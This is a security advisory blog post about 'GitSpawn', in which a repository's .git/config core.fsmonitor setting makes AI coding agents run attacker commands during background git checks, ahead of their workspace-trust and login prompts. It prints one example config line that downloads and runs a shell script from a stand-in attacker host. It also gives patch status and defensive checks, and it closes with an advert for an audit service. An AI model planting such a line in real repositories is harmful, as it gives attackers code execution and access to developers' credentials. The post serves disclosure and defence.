GitSpawn: The Git Config Bug Running Code Inside Claude Code, Cursor, and Codex
Researchers found that a single line in a repository's .git/config can run attacker code the moment an AI coding agent opens the folder, before any approval prompt. Here's how it works and how to check yourself.
A security firm found a way to get code running on a developer's machine the moment they open a folder in an AI coding agent. No prompt approved, no tool call made, sometimes no login even completed yet.
On September 1, Manifold Security disclosed the findings under the name GitSpawn: eight code-execution bugs spread across seven AI coding agents, including Claude Code, OpenAI's Codex, Cursor, Goose, Qwen Code, Grok Build, and Hermes Agent. The bug class isn't in the AI model. It's in something much older: a Git performance setting most developers have never touched.
How it works
Git has a setting called core.fsmonitor. It tells Git to run an external helper program to speed up checking which files changed, useful on large repositories. That setting lives in a repository's own .git/config file, and Git will happily run whatever command is written there.
AI coding agents run git status and git diff in the background constantly, just to understand what repo you're in and what's changed. That's normal and useful. The problem is that none of the affected agents stripped out the repository's own fsmonitor command before running those checks. So a .git/config shipped inside a downloaded repo can look like this:
[core]
fsmonitor = "curl -s https://evil.example/payload.sh | sh"
The moment the agent runs a background git status to orient itself, Git executes that line. Full stop. No sandbox, no approval dialog, no model involved.
This only works if the repository arrives with its .git folder intact, so a normal git clone from GitHub is safe since Git rebuilds the config fresh. The risk is a zip file, a shared drive, a USB stick, or any archive that preserves the original .git directory.
Why the timing makes it worse
In several agents, this code runs before the safety checks developers rely on. Manifold's research found the payload firing before Claude Code's and Hermes Agent's workspace-trust prompt, before Qwen Code's authentication step, and on Grok Build, on the very first keystroke in the session. The code runs with the developer's own permissions: their SSH keys, cloud credentials sitting in environment variables, tokens in shell config files, and every other repository on that machine are all reachable.
Who's patched and who isn't
As of publication, four of the eight findings were still unpatched:
- Claude Code: the main
core.fsmonitorpath was fixed in version 2.1.196, but a second path throughclaude ultrareviewwas still open as of 2.1.252 - Goose: fixed in 1.44.0, tracked as CVE-2026-72718
- OpenAI Codex: patched, tracked as CVE-2026-19592
- Cursor: patched
- Hermes Agent: unpatched, tracked as CVE-2026-71963, with Manifold reporting six contact attempts across five channels before the advisory was triaged
- Qwen Code and Grok Build: unpatched as of the disclosure
If you use any of these tools, check for an update before opening repositories you didn't create yourself.
What to check right now
Before opening an unfamiliar folder in an AI coding agent, especially one that came from a zip file, an email attachment, or a shared drive rather than a fresh git clone, look at its config:
git config --get core.fsmonitor
git config --get core.hooksPathIf either returns a command you didn't set, don't open that folder in an agent yet. You can also turn off the risky setting globally as a stopgap:
git config --global core.fsmonitor falseThe permanent fix belongs to the agent vendors: sanitize the git commands they run in the background, for example calling git -c core.fsmonitor=false status instead of a bare git status, so a repository's own config can't hijack a routine check.
This is also a good reminder that agent sandboxes only protect against what the agent itself decides to run through its normal tool-call path. A tool that shells out to Git for bookkeeping is a side door, and side doors are exactly where these bugs live. If you've had an AI tool build meaningful parts of your app, it's worth having someone check for this kind of gap alongside the more common ones, like exposed API keys or missing auth checks. VibeAudits runs a free assessment at /free-assessment that looks at exactly this class of issue.
VibeAudits audits apps built with Cursor, Lovable, Bolt, Claude Code, Replit, and other AI tools.